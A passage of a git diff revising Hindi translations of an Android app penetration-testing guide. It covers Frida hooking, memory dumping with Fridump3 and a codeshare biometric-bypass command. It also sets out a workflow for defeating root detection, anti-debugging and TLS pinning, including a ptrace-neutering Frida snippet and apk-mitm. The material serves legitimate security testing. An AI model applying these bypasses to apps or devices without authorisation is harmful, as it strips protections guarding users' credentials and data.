पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ +**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा। - Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html) - Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs)) +- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करते समय [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित तरीके से प्रयास करें (उपकरण [linjector](https://github.com/erfur/linjector-rs)) #### एंटी-इंस्ट्रुमेंटेशन और SSL पिनिंग बायपास कार्यप्रवाह @@ -454,11 +459,11 @@ HTTP ट्रैफ़िक का निरीक्षण करने क android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump Memory - Fridump** +### **डंप मेमोरी - Fridump** जांचें कि क्या एप्लिकेशन संवेदनशील जानकारी को मेमोरी में संग्रहीत कर रहा है जिसे इसे संग्रहीत नहीं करना चाहिए जैसे पासवर्ड या म्नेमोनिक्स। -[**Fridump3**](https://github.com/rootbsd/fridump3) का उपयोग करके आप ऐप की मेमोरी को इस तरह डंप कर सकते हैं: +[**Fridump3**](https://github.com/rootbsd/fridump3) का उपयोग करके आप ऐप की मेमोरी को डंप कर सकते हैं: ```bash # With PID python3 fridump3.py -u @@ -473,7 +478,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore में संवेदनशील डेटा** -Android में Keystore संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकारों के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए पेंटेस्ट को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी ऐसे व्यक्ति के साथ जो डिवाइस तक भौतिक पहुंच रखता हो, यह डेटा चुराने में सक्षम हो सकता है। +Android में Keystore संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकारों के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए पेंटेस्ट को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है। यहां तक कि यदि एक ऐप ने keystore में डेटा संग्रहीत किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए। @@ -483,19 +488,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है: +नीचे दिए गए Frida स्क्रिप्ट का उपयोग करके **फिंगरप्रिंट प्रमाणीकरण** को **बायपास** करना संभव हो सकता है जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए किया जा रहा है: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **पृष्ठभूमि छवियाँ** -जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ। +जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है। हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)। स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`** -Android एक तरीका प्रदान करता है **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** के लिए। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती। +Android एक तरीका प्रदान करता है **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** के लिए। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती। ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -536,7 +541,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। +**ऐप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -544,11 +549,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\ इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा। -MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। +MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करनी होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। ### MobSF के साथ सहायक गतिशील विश्लेषण -**MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट में MobSF और **genymotion** स्थापित करने की आवश्यकता होगी (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\ +**MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट में MobSF और **genymotion** स्थापित करना होगा (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\ **MobSF गतिशील विश्लेषक** कर सकता है: - **अनुप्रयोग डेटा डंप करें** (URLs, लॉग, क्लिपबोर्ड, आपके द्वारा बनाए गए स्क्रीनशॉट, "**Exported Activity Tester**" द्वारा बनाए गए स्क्रीनशॉट, ईमेल, SQLite डेटाबेस, XML फ़ाइलें, और अन्य बनाई गई फ़ाइलें)। इनमें से सभी स्वचालित रूप से किया जाता है सिवाय स्क्रीनशॉट के, आपको तब दबाना होगा जब आप एक स्क्रीनशॉट चाहते हैं या आपको सभी निर्यातित गतिविधियों के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" पर दबाना होगा। @@ -562,8 +567,8 @@ Android **संस्करण > 5** से, यह **स्वचालित डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\ MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है। -गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ -MobSF आपको अपने स्वयं के **Frida स्क्रिप्ट** लोड करने की अनुमति भी देता है (अपने शुक्रवार स्क्रिप्ट के परिणामों को MobSF में भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। +गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। **Frida Live Logs** पर दबाएं ताकि आप Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि आप सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ +MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणामों को MobSF में भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। ![](<../../images/image (419).png>) @@ -591,7 +596,7 @@ receivers ``` **HTTP tools** -जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ +जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" नीचे कैप्चर किए गए ट्रैफ़िक का एक भद्दा दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर दबा सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके। @@ -610,13 +615,13 @@ receivers ### [Yaazhini](https://www.vegabird.com/yaazhini/) -यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है** +यह एक **शानदार टूल है जो GUI के साथ स्थिर विश्लेषण करने के लिए है** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। +यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल एक "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम है**, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -638,7 +643,7 @@ reverse-apk relative/path/to/APP.apk SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है। -सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है। +सभी नियम एक `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकते हैं। नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें। ``` @@ -650,7 +655,7 @@ super-analyzer {apk_file} StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है। -विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें। +इसका विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें। डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -678,14 +683,14 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। +**MARA** एक **M**obile **A**pplication **R**everse engineering और **A**nalysis Framework है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। यह सक्षम है: - विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना -- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APK का विश्लेषण करना +- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना - regexps का उपयोग करके APK से निजी जानकारी निकालना। -- मैनिफेस्ट का विश्लेषण करना। +- Manifest का विश्लेषण करना। - [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना - [apk-deguard.com](http://www.apk-deguard.com) के माध्यम से APK को डिओबफस्केट करना @@ -699,7 +704,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### [ProGuard]() -[विकिपीडिया](): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है। +[Wikipedia](): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है। ProGuard Android SDK का एक हिस्सा है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है। @@ -711,9 +716,9 @@ APK को डिओबफस्केट करने के लिए चर - एक संसाधन को InputStream के रूप में लोड करें; - इसे FilterInputStream से विरासत में मिली एक कक्षा को डिक्रिप्ट करने के लिए परिणाम दें; -- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; +- एक रिवर्सर से कुछ मिनटों का समय बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; - डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके; -- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें। +- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक Resource के रूप में लोड करें। ### [DeGuard](http://apk-deguard.com) @@ -727,21 +732,21 @@ APK को डिओबफस्केट करने के लिए चर ### [Simplify](https://github.com/CalebFenton/simplify) -यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है। +यह एक **generic android deobfuscator** है। Simplify **virtually executes an app** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है। ### [APKiD](https://github.com/rednaga/APKiD) -APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह [_PEiD_](https://www.aldeid.com/wiki/PEiD) Android के लिए है। +APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) है। ### Manual -[कस्टम ओबफस्केशन को रिवर्स करने के लिए कुछ ट्रिक्स सीखने के लिए इस ट्यूटोरियल को पढ़ें](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है, जिसमें विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है। +AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है जिसमें रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से नवीनतम ढांचे, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है। ## References diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 36615cee5..9a3936e3d 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -यह पृष्ठ उन Android ऐप्स के खिलाफ गतिशील विश्लेषण को पुनः प्राप्त करने के लिए एक व्यावहारिक कार्यप्रवाह प्रदान करता है जो इंस्ट्रुमेंटेशन का पता लगाते हैं/रूट-ब्लॉक करते हैं या TLS पिनिंग को लागू करते हैं। यह तेज़ ट्रायज, सामान्य पहचान और उन्हें बिना रिपैक किए बायपास करने के लिए कॉपी-पेस्ट करने योग्य हुक/तकनीकों पर केंद्रित है जब संभव हो। +यह पृष्ठ उन Android ऐप्स के खिलाफ गतिशील विश्लेषण को पुनः प्राप्त करने के लिए एक व्यावहारिक कार्यप्रवाह प्रदान करता है जो इंस्ट्रुमेंटेशन का पता लगाते हैं/रूट-ब्लॉक करते हैं या TLS पिनिंग को लागू करते हैं। यह तेज़ ट्रायज, सामान्य पहचान और उन्हें बिना रिपैकिंग के बायपास करने के लिए कॉपी-पेस्ट करने योग्य हुक/तकनीकों पर केंद्रित है जब संभव हो। ## Detection Surface (क्या ऐप्स जांचते हैं) - रूट जांच: su बाइनरी, Magisk पथ, getprop मान, सामान्य रूट पैकेज - Frida/debugger जांच (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), स्कैनिंग /proc, classpath, लोड की गई लाइब्रेरी -- नैटिव एंटी-डिबग: ptrace(), syscalls, anti-attach, ब्रेकपॉइंट्स, इनलाइन हुक -- प्रारंभिक इनिट जांच: Application.onCreate() या प्रक्रिया प्रारंभ हुक जो इंस्ट्रुमेंटेशन होने पर क्रैश हो जाते हैं -- TLS पिनिंग: कस्टम TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt पिनिंग, नैटिव पिन +- नेटिव एंटी-डिबग: ptrace(), syscalls, anti-attach, ब्रेकपॉइंट्स, इनलाइन हुक +- प्रारंभिक init जांच: Application.onCreate() या प्रक्रिया प्रारंभ हुक जो इंस्ट्रुमेंटेशन होने पर क्रैश हो जाते हैं +- TLS पिनिंग: कस्टम TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt पिनिंग, नेटिव पिन ## Step 1 — Quick win: hide root with Magisk DenyList @@ -52,7 +52,7 @@ aobjection --gadget com.example.app explore # if using gadget ## चरण 4 — Jadx और स्ट्रिंग शिकार के माध्यम से डिटेक्शन लॉजिक मैप करें -Jadx में स्थैतिक ट्रायेज़ कीवर्ड: +Jadx में स्थैतिक ट्रायेज कीवर्ड: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" विशिष्ट जावा पैटर्न: @@ -121,7 +121,7 @@ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -उदाहरण: libc में सरल एंटी-डीबग को हराने के लिए ptrace को न्यूटर करें: +उदाहरण: libc में सरल एंटी-डिबग को हराने के लिए ptrace को न्यूटर करें: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -136,7 +136,7 @@ reversing-native-libraries.md ## चरण 7 — ऑब्जेक्शन पैचिंग (एंबेड गैजेट / स्ट्रिप बेसिक्स) -जब आप रनटाइम हुक के बजाय रिपैकिंग को प्राथमिकता देते हैं, तो प्रयास करें: +जब आप रनटाइम हुक्स की तुलना में रिपैकिंग को प्राथमिकता देते हैं, तो प्रयास करें: ```bash objection patchapk --source app.apk ``` @@ -147,7 +147,7 @@ Notes: References: - Objection: https://github.com/sensepost/objection -## Step 8 — Fallback: Patch TLS pinning for network visibility +## Step 8 — Fallback: नेटवर्क दृश्यता के लिए TLS पिनिंग पैच करें यदि इंस्ट्रुमेंटेशन अवरुद्ध है, तो आप स्थिर रूप से पिनिंग को हटाकर ट्रैफ़िक का निरीक्षण कर सकते हैं: ```bash @@ -185,8 +185,8 @@ apk-mitm app.apk - ऐप्स के लॉन्च पर क्रैश होने पर स्पॉनिंग के बजाय लेट अटैच करना पसंद करें - कुछ डिटेक्शन महत्वपूर्ण प्रवाह (जैसे, भुगतान, प्रमाणीकरण) में फिर से चलते हैं — नेविगेशन के दौरान हुक सक्रिय रखें -- स्थिर और गतिशील को मिलाएं: कक्षाओं की शॉर्टलिस्ट के लिए Jadx में स्ट्रिंग हंट करें; फिर रनटाइम पर सत्यापित करने के लिए विधियों को हुक करें -- हार्डन किए गए ऐप्स पैकर और नेटिव TLS पिनिंग का उपयोग कर सकते हैं — नेटिव कोड को रिवर्स करने की उम्मीद करें +- स्थैतिक और गतिशील को मिलाएं: कक्षाओं की शॉर्टलिस्ट के लिए Jadx में स्ट्रिंग हंट करें; फिर रनटाइम पर सत्यापित करने के लिए विधियों को हुक करें +- हार्डन किए गए ऐप्स पैकर और नेटिव TLS पिनिंग का उपयोग कर सकते हैं — नेटिव कोड को रिवर्स करने की अपेक्षा करें ## संदर्भ diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 048ab3de6..54cc45ef6 100644 --- 